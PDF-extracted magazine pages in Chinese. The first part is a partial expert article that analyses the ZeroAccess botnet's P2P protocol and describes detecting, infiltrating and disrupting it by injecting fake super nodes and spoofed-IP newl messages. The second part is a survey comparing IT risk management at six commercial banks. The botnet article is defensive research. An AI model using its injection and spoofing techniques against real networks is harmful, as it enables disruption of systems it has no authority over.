专 家 视 角 会 不 断 地 加 入 另 外,botmaster 可 能 随 时 会 升 级 模 块,bot 只 有 不 断 地 与 其 它 bot 进 行 通 信 才 能 互 通 有 无, 确 保 本 地 peer list 和 功 能 模 块 都 是 最 新 的 通 过 retl 返 回 的 peer list 会 被 本 地 保 存 每 个 peer list 由 多 个 peer_ip 组 成, 具 体 数 目 由 count 字 段 指 定, 最 大 为 16 每 图 2 信 息 交 换 协 议 报 文 头 格 式 定 义 个 peer_ip 除 了 包 含 一 个 IP 外, 还 有 一 个 时 间 戳 信 息, 对 应 该 IP 被 检 测 到 的 时 间 bot 内 部 会 按 照 时 间 戳 对 peer list 进 行 排 序, 新 发 现 的 节 点 会 被 优 先 轮 询 module_list 则 包 含 了 若 干 模 块 描 述 信 息, 具 体 模 块 数 由 count 字 段 指 定 每 个 模 块 描 述 信 息 (module) 包 含 文 件 编 号 图 3 peer list payload 格 式 定 义 (number) 时 间 戳 (timestamp) 大 小 (size) 和 签 名 (signature) 等 字 段 ZeroAccess 的 模 块 实 际 上 是 Windows DLL 文 件, 以 32 比 特 位 无 符 号 整 数 来 命 名, 而 不 是 通 常 的 字 符 串 命 名, 这 种 方 式 能 保 证 文 件 名 始 终 不 超 过 4 个 字 节 module 中 的 时 间 戳 字 段 标 识 了 模 块 的 新 旧 程 度 如 果 一 个 bot 发 现 自 己 缺 少 对 方 拥 有 的 某 个 模 块, 或 者 对 方 的 模 块 比 自 己 的 新, 那 么 就 会 向 对 方 发 起 TCP 连 接, 图 4 模 块 描 述 payload 格 式 定 义 28

专 家 视 角 将 对 应 的 模 块 下 载 回 来 在 通 过 签 名 验 证 后, 该 模 块 将 会 被 bot 执 行 逆 向 样 本 发 现 getl 中 可 以 出 现 module_list, 却 不 会 出 现 peer_list, 而 在 retl 中 这 两 种 payload 都 可 以 出 现 猜 测 这 么 做 可 能 是 为 了 安 全 考 虑, 后 面 会 提 到 只 有 超 级 节 点 才 能 响 应 getl, 这 样 就 确 保 了 只 有 超 级 节 点 才 能 分 发 peer_list 而 对 于 module_list, 因 为 有 签 名 做 保 护, 即 使 请 求 者 分 发 了 错 误 的 模 块, 响 应 者 也 能 通 过 签 名 检 测 出 来 2.2 超 级 节 点 发 现 机 制 ZeroAccess botnet 把 节 点 分 成 了 两 种 类 型 即 公 网 节 点 和 非 公 网 节 点 为 了 更 形 象 地 说 明 它 们 的 区 别, 这 里 套 用 P2P 网 络 中 常 用 的 超 级 节 点 和 普 通 节 点 来 分 别 描 述 它 们 超 级 节 点 的 发 现 同 样 通 过 getl/retl 交 互 来 完 成, 微 妙 之 处 在 于 getl 中 flag 字 段 的 使 用 正 常 发 起 请 求 的 bot, 其 getl 的 flag 标 志 会 被 设 为 0 接 收 方 会 检 查 该 字 段 的 值, 如 果 为 0 并 且 请 求 者 的 IP 不 在 自 己 的 peer list 中, 则 除 了 响 应 一 个 retl 以 外, 图 5 超 级 节 点 发 现 和 推 送 机 制 还 会 反 向 发 起 getl/retl 交 互, 但 此 时 将 getl 的 flag 设 为 1 如 果 对 方 回 复 了 retl, 说 明 其 拥 有 公 网 IP, 那 么 它 就 会 被 当 成 一 个 新 发 现 的 超 级 节 点 bot 会 向 已 知 的 超 级 节 点 推 送 newl 报 文 以 通 知 它 们 新 检 测 到 的 超 级 节 点 newl 中 包 含 了 新 节 点 的 IP 和 发 现 时 间,ttl 字 段 初 始 值 设 为 8 每 一 个 收 到 newl 的 bot, 除 了 保 存 新 节 点 的 IP 外, 还 会 继 续 向 其 它 超 级 节 点 推 送 该 newl, 每 转 推 一 次,ttl 就 会 被 减 1 当 ttl 为 0 时, 这 个 newl 就 会 被 停 止 分 发 就 这 样, 每 一 个 新 的 超 级 节 点 都 会 通 过 这 种 一 传 十, 十 传 百 的 方 式 被 快 速 分 发 出 去, 如 图 5 所 示 通 过 上 面 的 介 绍 不 难 发 现,peer list 的 分 发 和 新 超 级 节 点 的 检 测 其 实 都 是 由 超 级 节 点 实 现 的,retL 中 返 回 的 peer list 其 实 也 都 是 超 级 节 点 的 IP 跟 普 通 节 点 相 比, 超 级 节 点 几 乎 承 担 了 P2P 网 络 全 部 的 建 立 和 维 护 任 务, 称 它 们 为 超 级 并 不 为 过 三 利 用 缺 陷 进 行 检 测 跟 踪 和 渗 透 跟 一 些 常 见 的 P2P 网 络 相 比,ZeroAccess 的 P2P 网 络 比 较 简 单, 没 有 复 杂 的 路 由 机 制, 节 点 间 也 不 进 行 验 证, 只 是 通 过 一 种 类 似 flooding 的 信 息 交 换 方 式 来 确 保 每 个 bot 都 知 29

专 家 视 角 道 尽 可 能 多 的 其 它 活 跃 bot 的 IP, 以 及 尽 可 能 早 地 获 知 模 块 升 级 情 况 这 种 交 互 方 式 依 靠 大 量 的 冗 余 交 互 来 确 保 信 息 交 换 的 可 靠 性, 简 单 却 粗 暴, 缺 点 比 较 多, 这 里 介 绍 一 下 如 何 利 用 其 固 有 的 缺 陷 实 现 对 ZeroAccess botnet 更 好 的 检 测 和 清 除 3.1 检 查 特 定 端 口 的 网 络 行 为 来 检 测 bot ZeroAccess 的 P2P 通 信 使 用 了 固 定 的 UDP 端 口, 目 前 检 测 到 4 个 端 口 被 使 用, 分 别 是 16470/16471/16464/16465, 每 个 端 口 对 应 一 个 P2P 网 络 这 些 端 口 在 正 常 的 通 信 中 使 用 并 不 多, 所 以 可 以 看 作 ZeroAccess botnet 的 一 个 网 络 特 征 如 果 网 络 里 面 检 测 到 使 用 这 种 端 口 的 通 信, 那 么 很 可 能 是 存 在 ZeroAccess bot 的 征 兆 ZeroAccess 的 P2P 交 互 采 用 了 类 似 flooding 的 机 制, 通 过 大 量 的 getl/retl 来 确 保 bot 的 peer list 和 功 能 模 块 及 时 得 到 更 新 观 察 发 现,ZeroAccess bot 的 P2P 通 信 间 隔 为 秒 级,bot 一 旦 运 行 后 其 P2P 通 信 就 不 会 停 止, 这 种 网 络 行 为 特 征 比 较 明 显, 结 合 其 通 信 端 口 固 定 的 特 点, 只 需 要 检 查 上 述 4 个 端 口 的 通 信 流 量 即 可 检 测 网 路 中 是 否 存 在 ZeroAccess bot 3.2 通 过 渗 透 发 现 已 有 bot ZeroAccess 的 P2P 网 络 对 新 节 点 的 验 证 机 制 很 弱,bot 接 收 到 请 求 时, 只 要 报 文 解 密 正 确,CRC 校 验 不 出 错, 就 会 做 出 响 应 如 果 对 方 有 公 网 IP, 还 会 被 当 作 新 的 超 级 节 点 利 用 这 种 验 证 上 的 缺 陷, 在 获 得 报 文 格 式 XOR 加 密 密 钥 和 CRC 校 验 算 法 的 情 况 下, 可 以 对 ZeroAccess botnet 进 行 渗 透, 扫 描 和 枚 举 其 超 级 节 点, 获 得 的 数 据 除 了 可 以 用 作 封 堵 和 清 除, 还 可 以 用 来 评 估 僵 尸 网 络 的 规 模 和 活 跃 情 况 如 果 仅 希 望 枚 举 超 级 节 点, 只 需 不 断 地 轮 询 已 知 超 级 节 点 即 可, 可 以 考 虑 结 合 TCP 请 求 来 验 证 对 方 是 否 为 真 实 的 超 级 节 点 若 要 对 普 通 节 点 进 行 统 计, 则 必 须 设 法 注 入 超 级 节 点 才 行, 利 用 2.2 节 介 绍 的 技 术 可 以 做 到 超 级 节 点 的 另 一 个 用 途 是 散 布 构 造 的 peer list, 干 扰 P2P 网 络 的 正 常 运 行 具 体 的 散 布 方 式 既 可 以 通 过 响 应 报 文 retl 进 行, 也 可 以 通 过 主 动 地 往 外 推 送 newl 报 文 来 完 成 ZeroAccess bot 的 设 计 者 可 能 已 经 考 虑 到 对 于 第 一 种 情 况, 将 每 个 超 级 节 点 返 回 给 对 方 的 超 级 节 点 数 量 限 制 为 最 大 16 个, 这 意 味 着 一 次 交 互 最 多 只 能 注 入 16 个 节 点, 这 对 注 入 效 果 有 影 响 如 果 使 用 newl 来 注 入, 限 制 要 小 很 多 3.3 进 行 spoofed IP 攻 击 spoofed IP 攻 击 本 来 是 DDoS 攻 击 中 一 种 常 见 的 技 术, 即 攻 击 者 发 送 大 量 源 IP 为 假 的 报 文 给 受 害 者, 以 达 到 耗 尽 被 攻 击 者 资 源 的 目 的 ZeroAccess 的 P2P 通 信 主 要 基 于 UDP 协 议, 交 互 都 不 超 过 1.5 轮, 双 方 均 无 法 验 证 收 到 报 文 的 源 IP 是 否 正 确, 这 客 观 上 给 spoofed IP 技 术 的 使 用 创 造 了 条 件 对 于 那 些 特 别 活 跃 现 有 手 段 又 无 法 对 其 进 行 有 效 限 制 的 超 级 节 点, 可 以 考 虑 使 用 spoofed IP 技 术 来 向 其 注 入 虚 假 的 超 级 节 点 列 表, 以 达 到 破 坏 其 运 行 的 目 的 具 体 实 施 手 段 是 推 送 newl, 选 定 注 入 对 象 后, 向 其 推 送 30

专 家 视 角 源 IP 和 peer IP 均 为 假 的 newl 因 为 ZeroAccess 的 bot 在 接 收 到 newl 报 文 时, 除 了 newl 中 的 IP 会 被 保 存, 如 果 发 送 者 的 IP 也 是 陌 生 的, 那 么 该 IP 也 会 被 保 存, 这 样 一 个 newl 报 文 理 论 上 可 以 同 时 注 入 两 个 IP 通 过 不 停 地 推 送 newl 报 文 即 可 达 到 注 入 的 目 的 四 实 际 跟 踪 情 况 利 用 前 面 介 绍 的 技 术, 我 们 对 运 行 端 口 为 16464 和 16471 的 两 个 P2P 网 络 进 行 了 跟 踪, 在 不 到 一 个 礼 拜 的 时 间 内 发 现 了 3 万 多 个 运 行 在 16471 端 口 上 的 超 级 节 点, 其 中 1 万 多 个 节 点 能 响 应 getl 请 求 统 计 这 些 IP 的 地 理 分 布 发 现 它 们 分 布 于 世 界 各 地, 但 以 美 国 欧 洲 日 本 和 印 度 居 多, 中 国 大 陆 地 区 也 有 少 量 分 布, 这 跟 业 界 的 一 些 分 析 报 告 的 描 述 比 较 一 致 在 跟 踪 运 行 端 口 为 16464 的 P2P 网 络 时 有 一 个 有 趣 的 发 现 : 如 图 6 所 示 有 15 个 根 本 不 存 在 的 IP 在 10 天 内 被 返 回 了 199 万 多 次, 甚 至 不 少 新 捕 获 的 bot 样 本 直 接 将 它 们 作 为 种 子 IP 我 们 判 断 这 些 相 似 但 根 本 不 存 在 的 IP 很 有 可 能 是 安 全 研 究 人 员 115.254.253.254 117.254.253.254 119.254.253.254 134.254.253.254 135.254.253.254 166.254.253.254 180.254.253.254 182.254.253.254 190.254.253.254 206.254.253.254 222.254.253.254 71.254.253.254 87.254.253.254 88.254.253.254 92.254.253.254 图 6 ZeroAccess botnet 内 被 注 入 的 一 些 伪 超 级 节 点 故 意 渗 透 进 去 的 另 一 个 有 趣 的 发 现 是 基 于 spoofed IP 的 newl 在 ZeroAccess botnet 中 其 实 很 常 见, 这 来 源 于 我 们 对 注 入 的 一 个 超 级 节 点 的 报 文 统 计, 发 现 收 到 的 newl 数 量 远 大 于 getl, 但 反 向 联 系 发 送 newl 的 节 点 时 极 少 成 功 这 从 侧 面 印 证 了 通 过 spoofed IP 技 术 进 行 渗 透 是 可 行 的 最 近, 微 软 联 合 FBI EC3(Europol s European Cybercrime Centre) 以 及 一 些 业 界 公 司 对 ZeroAccess botnet 展 开 了 围 剿 行 动, 经 过 几 天 的 对 抗 后 ZeroAccess 的 botmaster 发 布 了 一 个 包 含 WHITE FLAG 消 息 的 更 新 模 块, 宣 布 投 降 这 样, 这 场 对 抗 以 微 软 一 方 获 胜 而 告 终 但 结 合 以 往 的 经 验,botmaster 一 般 总 是 会 设 法 复 活 被 破 坏 的 botnet, 最 常 用 的 手 段 就 是 推 出 升 级 版 本, 通 过 修 复 老 版 本 的 缺 陷 来 提 高 健 壮 性, 所 以 将 来 很 可 能 会 出 现 新 版 本 的 ZeroAccess botnet, 比 如 v3 甚 至 v4 版 本, 它 们 的 功 能 只 会 更 强 大 相 信 围 绕 botnet 的 这 种 矛 和 盾 的 对 抗 在 今 后 相 当 长 的 一 段 时 间 内 会 持 续 上 演, 我 们 拭 目 以 待 31

行 业 热 点 商 业 银 行 信 息 科 技 风 险 管 理 状 况 行 业 对 比 分 析 中 央 业 务 部 齐 芳 关 键 字 : 信 息 科 技 风 险 管 理 横 向 对 比 摘 要 : 商 业 银 行 信 息 科 技 风 险 管 理 是 监 管 部 门 对 商 业 银 行 信 息 科 技 实 施 管 理 的 一 个 重 要 领 域, 但 鉴 于 各 行 对 标 准 的 理 解 和 认 知 差 异, 以 及 自 身 信 息 科 技 管 理 能 力 不 同, 各 行 的 实 现 效 果 也 是 良 莠 不 齐 为 了 了 解 行 业 的 现 状, 我 们 设 计 了 一 套 比 对 指 标, 并 调 研 国 内 六 家 商 业 银 行 的 信 息 科 技 管 理 现 状, 形 成 了 一 套 在 一 定 程 度 上 反 映 真 实 状 况 的 统 计 和 对 比 资 料, 力 求 通 过 本 次 横 向 对 比 了 解 现 状, 发 现 规 律, 分 析 原 因, 为 今 后 的 改 进 与 领 导 决 策 提 供 依 据 引 言 通 银 行 董 事 长 牛 锡 明 曾 预 言 : 互 联 网 金 融 将 颠 覆 传 统 商 业 银 交 行 的 经 营 模 式 盈 利 模 式 和 服 务 模 式, 甚 至 在 不 久 的 将 来, 广 为 密 布 的 银 行 营 业 网 点 可 能 会 缩 减, 营 业 网 点 将 不 再 有 现 金 柜 台 我 们 也 由 此 认 为, 行 业 内 基 本 已 经 达 成 共 识 : 银 行 业 信 息 科 技 的 水 平 和 能 力 将 决 定 着 未 来 该 行 的 业 务 发 展 走 向 在 不 可 阻 挡 的 行 业 发 展 模 式 的 推 动 下, 各 行 都 在 不 断 加 大 对 信 息 科 技 的 发 展 规 模 和 控 制 力 度 但 伴 随 着 银 行 业 越 来 越 活 跃 的 各 种 渠 道 及 服 务 方 式 的 多 样 性 及 开 放 性, 银 行 信 息 安 全 事 件 频 发 的 趋 势 难 以 遏 制 银 行 业 监 管 机 构 不 断 出 台 了 若 干 监 管 要 求 指 导 意 见, 要 求 各 家 银 行 做 好 信 息 科 技 的 技 术 和 管 理 保 障 工 作, 特 别 针 对 信 息 科 技 的 风 险 管 理 更 是 加 大 了 监 管 力 度 基 于 以 上 商 业 及 外 部 监 管 环 境, 各 商 业 银 行 是 如 何 落 实 监 管 要 求 如 何 开 展 信 息 科 技 规 划 与 落 实 呢? 为 此, 我 们 进 行 了 一 次 针 对 性 的 调 研 与 分 析 工 作 我 们 选 取 了 六 家 商 业 银 行, 按 照 法 人 银 行 业 金 融 机 构 信 息 科 技 监 管 达 标 路 线 图 的 内 容 形 成 了 若 干 指 标, 在 调 研 与 现 状 分 析 基 础 上, 进 行 了 数 据 分 析 整 理, 初 步 形 成 了 具 有 行 业 代 表 性 的 共 性 与 个 性 问 题, 并 进 行 了 数 据 统 计 与 挖 掘 我 们 希 望 本 次 行 业 对 比 工 作 能 够 起 到 抛 砖 引 玉 的 作 用, 为 各 分 支 的 金 融 行 业 技 术 与 销 售 人 员 提 供 一 些 基 础 素 材, 提 供 一 个 做 横 向 对 比 的 基 本 方 法 与 探 索 鉴 于 时 间 和 资 料 来 源 等 因 素 制 约, 我 们 本 次 仅 选 取 了 六 家 商 业 银 行 进 行 样 本 采 集, 难 免 存 在 处 理 后 数 据 准 确 程 度 以 及 说 服 力 不 足 的 问 题 另 外, 参 与 人 员 对 于 各 家 商 业 银 行 的 打 分 取 值 尺 度 更 多 地 取 决 于 个 人 的 主 观 判 断, 所 以 存 在 一 定 的 尺 度 不 一 的 情 况, 敬 请 谅 解 1. 银 行 业 信 息 科 技 风 险 管 理 横 向 对 比 方 法 论 本 次 银 行 业 信 息 科 技 管 理 能 力 成 熟 度 行 业 对 比 分 析 立 足 于 针 对 银 监 会 颁 布 的 商 业 银 行 信 息 科 技 风 险 管 理 指 引 的 核 心 要 求 内 容, 参 考 浙 江 省 银 监 局 下 发 的 法 人 银 行 业 金 融 机 构 信 息 科 技 监 管 达 标 路 线 图 的 要 求, 提 炼 出 了 约 100 条 管 理 控 制 指 标 项 作 为 衡 量 与 32

行 业 热 点 评 价 商 业 银 行 信 息 科 技 管 理 能 力 水 平 的 基 线 标 准 另 外, 我 们 根 据 地 域 差 异 以 及 管 控 水 平 差 异 选 取 了 六 家 商 业 银 行, 针 对 指 标 项 逐 一 进 行 信 息 科 技 管 理 现 状 的 定 性 分 析 以 及 定 量 赋 值 打 分 ( 分 数 的 权 重 比 例 以 及 分 值 评 价 方 法 参 考 了 银 监 局 颁 布 的 城 市 商 业 银 行 信 息 科 技 监 管 评 级 评 分 表 ), 最 终 汇 总 形 成 六 家 银 行 的 信 息 科 技 管 控 能 力 现 状, 再 经 过 总 结 形 成 银 行 业 信 息 科 技 管 理 的 平 均 水 平 和 较 高 图 1 银 行 业 对 比 分 析 方 法 水 平 两 项 能 力 状 况, 并 以 此 作 为 行 业 水 平 参 考, 判 断 某 银 行 信 息 科 技 管 理 现 状 在 行 业 中 所 处 的 地 位, 如 图 1 所 示 形 成 了 对 比 指 标 后, 下 一 步 的 工 作 是 制 订 适 宜 的 评 价 方 法 根 据 以 往 经 验, 我 们 决 定 采 取 定 性 与 定 量 结 合 的 方 式 作 为 衡 量 与 评 价 银 行 业 信 息 科 技 管 理 状 况 的 基 本 方 法 采 用 定 性 和 定 量 共 同 评 价 的 方 式 有 如 下 好 处 : 首 先, 定 性 的 描 述 是 客 观 分 析 各 家 银 行 在 各 项 指 标 的 实 现 方 式, 为 最 终 银 行 的 借 鉴 参 考 提 供 较 为 具 体 的 素 材 和 依 据 ; 定 量 的 方 式 可 以 较 为 便 利 地 展 现 和 了 解 各 行 的 管 理 能 表 1 定 量 评 价 分 数 权 重 赋 值 力, 量 化 的 结 论 更 便 于 实 现 横 向 对 比, 便 于 决 策 者 和 管 理 者 提 供 决 策 依 据, 结 果 一 目 了 然 因 此, 定 性 与 定 量 结 合 的 方 式 较 适 用 于 本 次 横 向 对 比 工 作 定 量 方 式 赋 值 打 分 需 要 规 定 各 项 指 标 的 权 重 各 项 指 标 的 分 值 范 围 以 及 打 分 高 低 的 依 据 等 要 素 指 标 的 权 重 我 们 按 照 八 个 大 类 内 容 的 重 要 程 度 每 个 大 类 指 标 数 量 等 因 素, 将 满 分 100 分 做 了 权 重 划 分, 如 表 1 所 示 2. 横 向 对 比 的 结 论 33

行 业 热 点 针 对 调 查 的 六 家 银 行 的 现 状, 面 向 各 个 指 标 项, 我 们 总 结 提 炼 形 成 了 行 业 平 均 水 平 和 行 业 较 高 水 平 行 业 平 均 水 平 的 总 结 不 是 简 单 的 罗 列, 而 是 针 对 各 个 指 标 项 横 向 比 较 六 家 中 有 共 性 的 问 题 或 出 现 水 平 和 行 业 较 高 水 平 行 业 平 均 水 平 是 综 合 各 家 银 行 的 较 为 普 遍 实 现 方 式, 针 对 共 性 问 题 的 角 度 综 合 形 成 实 现 方 式 的 描 述 与 指 标 分 值 ; 行 业 较 高 水 平 则 是 综 合 了 各 家 的 先 进 理 念 和 实 现 方 式, 形 成 了 较 好 的 较 多 的 问 题 ( 也 包 括 实 现 较 好 的 内 容 ), 总 结 形 成 行 业 平 均 状 况 的 描 述 ; 行 业 较 高 水 平 则 是 提 出 目 前 这 六 家 中 管 理 状 况 最 好 的 作 为 行 业 较 高 类 别 指 标 项 量 化 分 值 权 重 行 业 平 均 水 平 平 均 得 分 行 业 较 高 水 平 较 高 得 分 水 平 2.1 指 标 数 据 分 值 对 比 结 论 内 控 与 信 息 科 技 治 理 1. 行 业 对 比 总 体 得 分 根 据 定 量 赋 值 评 价 方 法, 我 们 按 照 标 准 要 求, 依 据 对 六 家 商 业 银 行 的 调 研 与 考 察 分 析, 进 行 了 赋 值 打 分, 如 表 2 所 示, 从 一 定 程 度 上 反 映 了 六 家 银 行 的 信 息 科 技 管 理 水 平 和 在 行 业 内 所 处 地 位 2. 行 业 平 均 水 平 和 行 业 较 高 水 平 董 ( 理 ) 事 会 和 管 理 层 对 信 息 科 技 风 险 管 理 的 关 注 和 支 持 2 还 未 建 立 信 息 科 技 风 险 管 理 与 考 核 的 指 标, 无 法 做 到 精 细 化 风 险 管 理 部 分 银 行 将 信 息 科 技 风 险 管 理 指 标 纳 入 到 了 全 行 全 面 风 险 管 理 考 核 指 标 中 1.3 总 行 风 险 管 理 部 有 全 面 风 险 管 理 指 标, 并 将 信 息 科 技 风 险 管 理 指 标 纳 入 其 中, 但 都 没 有 制 订 专 项 的 针 对 信 息 科 技 风 险 的 详 细 考 核 指 标 体 系 1.5 表 3 分 别 针 对 本 次 对 比 的 各 个 指 标 类 别, 总 结 形 成 了 行 业 平 均 信 息 科 技 治 理 运 作 董 ( 理 ) 事 会 信 息 科 技 风 险 管 理 职 责 落 实 10 2 成 立 了 信 息 科 技 管 理 委 员 会, 委 员 会 对 信 息 科 技 风 险 管 理 给 予 了 支 持 与 关 注 科 技 部 总 经 理 或 风 险 管 理 部 负 责 指 导 全 行 IT 风 险 管 理 体 系 的 规 划, 但 是 该 信 息 科 技 治 理 规 划 未 充 分 考 虑 信 息 科 技 风 险 管 理 如 信 息 科 技 风 险 管 理 框 架 的 设 立 信 息 科 技 风 险 管 理 计 量 评 估 检 测 和 反 馈 等 内 容 1.4 成 立 信 息 科 技 管 理 委 员 会, 并 履 行 了 相 应 的 审 批 决 策 职 能 风 险 管 理 部 牵 头, 给 予 全 面 风 险 管 理 体 系, 建 立 了 一 定 的 信 息 科 技 风 险 管 理 的 考 核 指 标 体 系 风 险 管 理 部 门 会 定 期 发 起 信 息 科 技 风 险 评 估 活 动, 并 针 对 评 估 发 现 的 风 险 进 行 关 注 与 跟 踪 1.6 表 2 指 标 数 据 分 值 比 对 结 论 表 3 行 业 平 均 水 平 及 较 高 水 平 统 计 34

行 业 热 点 实 现 方 式 描 述 及 指 标 分 值 注 : 以 上 为 指 标 项 的 示 例, 鉴 于 篇 幅 限 制 无 法 全 面 展 示, 如 需 详 细 内 容 请 与 作 者 联 系 将 以 上 的 行 业 统 计 信 息 汇 总, 从 量 化 分 值 角 度 进 行 对 比, 从 一 定 程 度 上 反 映 出 信 息 科 技 管 理 中 的 不 同 领 域 方 面 的 行 业 总 体 实 现 及 达 标 状 况 图 2 集 中 展 示 了 本 次 对 比 的 八 个 大 类 的 分 值 分 布 统 计 情 况 我 们 将 本 次 对 比 的 六 家 银 行 的 各 个 大 类 的 分 项 得 分 数 值 的 分 布 情 况 展 示 在 图 3, 图 图 2 商 业 银 行 风 险 管 理 整 体 分 值 统 计 中 的 红 色 线 段 为 行 业 平 均 得 分, 由 此 可 以 了 解 各 行 在 某 项 的 具 体 实 现 情 况 2.2 行 业 普 遍 优 势 与 不 足 特 点 分 析 纵 览 六 家 银 行 指 标 项 数 据 的 现 状 分 析 结 论, 并 总 结 分 析 了 行 业 平 均 水 平 及 较 高 水 平, 发 现 规 模 相 当 的 银 行 在 信 息 科 技 管 理 方 面 还 是 存 在 一 定 的 共 性 特 点 的 ( 一 ) 普 遍 实 现 较 好 的 方 面 1. 宏 观 层 面 的 内 控 与 信 息 科 技 治 理 框 架 较 为 完 备 内 控 与 治 理 相 关 的 职 责 落 实 较 为 完 备, 一 般 银 行 都 成 立 了 信 息 科 技 管 理 委 员 会, 并 图 3 相 对 于 行 业 平 均 水 平 的 各 商 业 银 行 的 各 指 标 类 分 值 分 布 35

行 业 热 点 能 够 履 行 相 应 的 决 策 管 理 职 能 各 行 均 将 信 息 科 技 风 险 管 理 指 标 纳 入 到 全 面 风 险 管 理 指 标 中 进 行 考 核 根 据 监 管 要 求, 各 行 当 前 的 风 险 管 理 审 计 信 息 安 全 都 形 成 了 三 个 独 立 的 条 线, 各 个 条 线 基 本 明 确 了 职 责 范 围 汇 报 路 径 协 作 与 控 制 关 系, 能 够 实 现 一 定 程 度 的 制 衡 2. 机 房 物 理 环 境 保 障 及 日 常 巡 检 工 作 执 行 较 好 各 行 的 机 房 物 理 环 境 的 基 础 设 施 以 及 安 全 保 障 做 得 较 为 完 备 机 房 全 部 配 有 门 禁 系 统, 有 24 小 时 值 守 人 员, 机 房 进 出 需 要 登 记 签 字 重 要 环 境 及 操 作 间 设 备 间 的 门 禁 还 设 有 指 纹 识 别 管 理 门 禁 记 录 保 留 至 少 三 个 月, 监 控 记 录 也 根 据 需 要 保 留 至 少 三 个 月 以 上 机 房 的 巡 检 工 作 执 行 效 果 较 好, 一 般 日 常 对 供 电 UPS 空 调 等 的 巡 检 每 天 执 行 三 次 以 上 3. 业 务 连 续 性 方 面 管 理 较 为 规 范 银 行 业 的 业 务 连 续 性 工 作 普 遍 落 实 执 行 得 较 好, 都 具 备 一 定 的 应 急 管 理 体 系, 并 根 据 各 行 的 认 知 及 需 要 逐 步 制 订 专 项 应 急 预 案 各 行 都 进 行 了 业 务 影 响 性 分 析, 并 根 据 分 析 结 果 指 导 预 案 制 订 以 及 应 急 工 作 的 落 实 各 行 也 都 开 展 了 不 同 规 模 的 应 急 演 练 工 作, 演 练 内 容 包 括 灾 备 切 换 模 拟 场 景 及 事 件 演 习 等 演 练 工 作 基 本 能 够 实 现 对 核 心 业 务 平 台 的 事 件 及 处 置 预 演, 演 练 过 程 中 能 够 设 定 明 确 的 演 练 环 境 与 模 拟 环 境, 制 订 演 练 目 标 要 求, 设 计 详 细 的 演 练 步 骤, 落 实 各 项 外 部 资 源 整 体 评 价 业 务 连 续 性 工 作 开 展 无 论 从 合 规 角 度 还 是 风 险 控 制 角 度 均 相 对 执 行 较 好 ( 二 ) 普 遍 存 在 问 题 的 方 面 1. 规 模 较 小 的 城 商 行 信 息 科 技 人 员 流 失 率 较 高, 结 构 不 合 理 根 据 调 查 统 计 结 果, 一 般 规 模 较 小 的 城 商 行 的 信 息 科 技 人 员 相 对 于 全 行 工 作 人 员 的 占 比 情 况 为 2~3% 左 右 人 员 数 量 基 本 符 合 指 导 意 见 的 建 议 配 备 数 量 但 普 遍 存 在 人 员 流 动 率 较 高 的 情 况, 并 且 存 在 兼 岗 兼 职 的 情 况, 总 体 反 映 出 人 员 配 置 结 构 存 在 一 定 的 不 合 理 分 析 原 因, 存 在 系 统 变 更 频 繁 人 为 造 成 了 工 作 量 的 增 加 人 员 工 作 分 配 不 够 清 晰 合 理 核 心 岗 位 的 行 编 较 少 造 成 对 外 包 的 过 度 依 赖 等 几 种 情 况 2. 缺 乏 独 立 的 信 息 科 技 风 险 管 理 机 构 与 岗 位, 很 难 独 立 执 行 信 息 科 技 风 险 管 控 职 能 按 照 监 管 要 求, 应 建 立 独 立 的 信 息 科 技 风 险 管 理 机 构 与 岗 位, 独 立 执 行 信 息 科 技 的 风 险 管 理 各 项 工 作 银 行 内 部 负 责 信 息 科 技 风 险 评 估 监 测 和 控 制 的 职 能 部 门 与 承 担 风 险 的 职 能 部 门 及 信 息 技 术 部 门 应 分 离, 前 者 就 风 险 暴 露 情 况 直 接 向 高 级 管 理 层 和 董 事 会 报 告 但 目 前 大 部 分 银 行 都 是 在 总 行 的 风 险 管 理 部 下 设 了 信 息 科 技 风 图 4 科 技 人 员 占 比 统 计 险 管 理 岗 位, 但 由 于 其 专 业 知 识 不 足 人 员 数 量 有 限 汇 报 及 管 理 关 36

行 业 热 点 系 不 明 确 等 诸 多 原 因, 该 岗 位 人 员 很 难 独 立 承 担 起 相 应 的 信 息 科 技 风 险 管 控 的 职 能 和 作 用 相 对 于 业 务 层 面 的 风 险 控 制, 信 息 科 技 的 风 险 控 制 执 行 效 果 还 没 有 达 到 预 期 效 果 3. 外 包 商 的 监 控 以 及 对 外 包 商 服 务 过 程 中 的 持 续 监 控 实 现 差 强 人 意 监 管 要 求 中 提 到 : 应 当 对 服 务 提 供 商 的 财 务 内 控 及 安 全 管 理 进 行 持 续 监 控, 关 注 其 因 破 产 兼 并 关 键 人 员 流 失 投 入 不 足 和 管 理 不 善 等 因 素 引 发 的 财 务 状 况 恶 化 及 内 部 管 理 混 乱 等 情 况, 防 范 外 包 服 务 意 外 终 止 或 服 务 质 量 的 急 剧 下 降 但 大 部 分 银 行 都 没 有 一 套 完 善 的 机 制 保 证 持 续 地 对 外 包 商 的 人 员 及 财 务 状 况 进 行 监 控 一 般 在 招 标 阶 段 会 设 立 入 围 门 槛, 但 一 旦 项 目 进 入 实 施 阶 段 则 完 全 没 有 监 控 环 节 另 外, 在 外 包 过 程 中, 银 行 相 关 人 员 也 普 遍 无 法 做 到 跟 踪 任 务 的 执 行 情 况, 无 法 及 时 发 现 和 纠 正 服 务 过 程 中 存 在 的 各 类 异 常 情 况, 很 难 根 据 信 息 科 技 外 包 需 求 合 同 服 务 水 平 协 议 等 建 立 明 确 的 服 务 质 量 监 控 指 标 大 部 分 银 行 多 为 出 现 问 题 后 再 进 行 评 估 与 纠 正, 部 分 银 行 甚 至 没 有 做 到 指 标 量 化 考 核 4. 事 件 管 理 及 工 具 化 平 台 效 果 有 待 提 高 根 据 监 管 要 求, 信 息 系 统 运 维 过 程 应 使 用 统 一 的 事 件 管 理 工 具 平 台 监 控 异 常, 处 理 事 件 和 投 诉 但 目 前 部 分 城 商 行 还 没 有 建 立 事 件 管 理 工 具 平 台, 出 现 故 障 或 事 件 多 是 通 过 事 件 处 理 和 投 诉 管 理 流 程 进 行 人 工 事 件 过 程 管 理 少 部 分 银 行 开 发 并 使 用 了 ITIL 平 台 进 行 事 件 管 理 问 题 管 理 变 更 管 理, 但 其 系 统 功 能 与 事 件 管 理 的 流 程 要 求 还 存 在 一 定 差 距, 即 事 件 处 理 方 式 和 流 程 与 ITIL 系 统 的 功 能 操 作 有 差 距, 是 两 张 皮 虽 然 各 行 针 对 事 件 管 理 有 流 程 和 制 度 要 求, 但 工 具 化 平 台 无 疑 将 提 高 整 体 工 作 效 率, 便 于 进 行 事 件 的 审 批 追 溯 与 记 录 事 件 处 理 流 程 5. 内 审 与 检 查 工 作 存 在 诸 多 不 合 规 城 商 行 都 设 有 审 计 与 检 查 部 